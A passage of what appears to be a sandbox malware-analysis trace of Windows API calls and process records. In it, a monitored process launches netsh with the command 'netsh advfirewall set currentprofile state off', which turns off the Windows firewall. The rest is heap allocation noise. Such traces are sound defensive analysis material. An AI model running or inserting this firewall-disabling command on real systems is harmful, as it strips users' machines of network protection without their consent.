-18 [0157.464] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0157.464] GetProcessHeap () returned 0x262c1df0000 [0157.464] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df6ef0) returned 1 [0157.465] GetProcessHeap () returned 0x262c1df0000 [0157.465] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0x12) returned 0x262c1df6ef0 [0157.465] _get_osfhandle (_FileHandle=1) returned 0x254 [0157.465] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0157.465] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.465] SetConsoleMode (hConsoleHandle=0x244, dwMode=0x0) returned 0 [0157.465] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xef9a0ff4d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xef9a0ff4a8 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0xef9a0ff4a8*(hProcess=0x98, hThread=0x94, dwProcessId=0xffc, dwThreadId=0x2a0)) returned 1 [0157.485] CloseHandle (hObject=0x94) returned 1 [0157.485] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0157.485] GetProcessHeap () returned 0x262c1df0000 [0157.485] RtlFreeHeap (HeapHandle=0x262c1df0000, Flags=0x0, BaseAddress=0x262c1df5a10) returned 1 [0157.485] GetEnvironmentStringsW () returned 0x262c1df5a10* [0157.485] GetProcessHeap () returned 0x262c1df0000 [0157.485] RtlAllocateHeap (HeapHandle=0x262c1df0000, Flags=0x8, Size=0xac4) returned 0x262c1e09510 [0157.485] FreeEnvironmentStringsA (penv="=") returned 1 [0157.485] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe8a6d0000 [0157.486] GetProcAddress (hModule=0x7ffe8a6d0000, lpProcName="NtQueryInformationProcess") returned 0x7ffe8a7756b0 [0157.486] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xef9a0fe9a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xef9a0fe9a8, ReturnLength=0x0) returned 0x0 [0157.486] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x828a31c000, lpBuffer=0xef9a0fe9e0, nSize=0x7a0, lpNumberOfBytesRead=0xef9a0fe9a0 | out: lpBuffer=0xef9a0fe9e0*, lpNumberOfBytesRead=0xef9a0fe9a0*=0x7a0) returned 1 [0157.487] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) Thread: id = 99 os_tid = 0xff4 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5734e000" os_pid = "0xfc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xfb4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 89 os_tid = 0xfc8 Thread: id = 93 os_tid = 0xfdc Thread: id = 94 os_tid = 0xfe0 Thread: id = 97 os_tid = 0xfec Thread: id = 98 os_tid = 0xff0 Process: id = "17" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x57e4e000" os_pid = "0xfcc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xfbc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0xfd0 Thread: id = 91 os_tid = 0xfd4 Thread: id = 92 os_tid = 0xfd8 Thread: id = 95 os_tid = 0xfe4 Thread: id = 96 os_tid = 0xfe8 Process: id = "18" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x545c7000" os_pid = "0xffc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xfbc" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001185d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 101 os_tid = 0x2a0 [0157.546] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff72c200000 [0157.546] __set_app_type (_Type=0x1) [0157.546] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff72c20a1c0) returned 0x0 [0157.546] __wgetmainargs (in: _Argc=0x7ff72c217668, _Argv=0x7ff72c217670, _Env=0x7ff72c217678, _DoWildCard=0, _StartInfo=0x7ff72c217684 | out: _Argc=0x7ff72c217668, _Argv=0x7ff72c217670, _Env=0x7ff72c217678) returned 0 [0157.546] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.546] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff72c200000 [0157.547] _vsnwprintf (in: _Buffer=0x7ff72c219b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x828a4f7928 | out: _Buffer="netsh>") returned 6 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eb00 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eac0 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eb60 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e9e0 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ebe0 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ec40 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.547] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eee0 [0157.547] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ec60 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e960 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ed60 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ea40 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e8c0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ea00 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e980 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343efc0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ef80 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343efa0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e940 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e9a0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eda0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e9c0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ec00 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343efe0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ea80 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ea20 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eca0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343f000 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343edc0 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ef20 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ec20 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.548] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ef00 [0157.548] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e900 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ec80 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eaa0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ecc0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ee00 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ef60 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343f020 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eb20 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ece0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ea60 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ed00 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eb40 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ef40 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eec0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e8a0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eae0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ed20 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eb80 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e8e0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ed80 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ede0 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343e920 [0157.549] GetProcessHeap () returned 0x1fe23430000 [0157.549] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eba0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ebc0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ed40 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ee20 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ee40 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ee60 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ee80 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343eea0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440080 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ff60 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234402a0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440360 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ff40 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234400a0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234404a0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440000 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440380 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440300 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fde0 [0157.550] GetProcessHeap () returned 0x1fe23430000 [0157.550] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234402c0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440180 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234403a0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234403c0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fd80 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fec0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ffc0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234400c0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440160 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234403e0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440460 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440020 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234400e0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440200 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234401a0 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440100 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ff20 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440120 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440480 [0157.551] GetProcessHeap () returned 0x1fe23430000 [0157.551] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234402e0 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440140 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440320 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440340 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440400 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fdc0 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fd40 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234401c0 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fe20 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440280 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440220 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234401e0 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ff00 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440420 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440440 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fd20 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440240 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fd60 [0157.552] GetProcessHeap () returned 0x1fe23430000 [0157.552] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fda0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fe60 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fe00 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fe40 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440040 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fee0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ffa0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440260 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440060 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fe80 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ff80 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343fea0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe2343ffe0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440570 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234407d0 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440750 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, 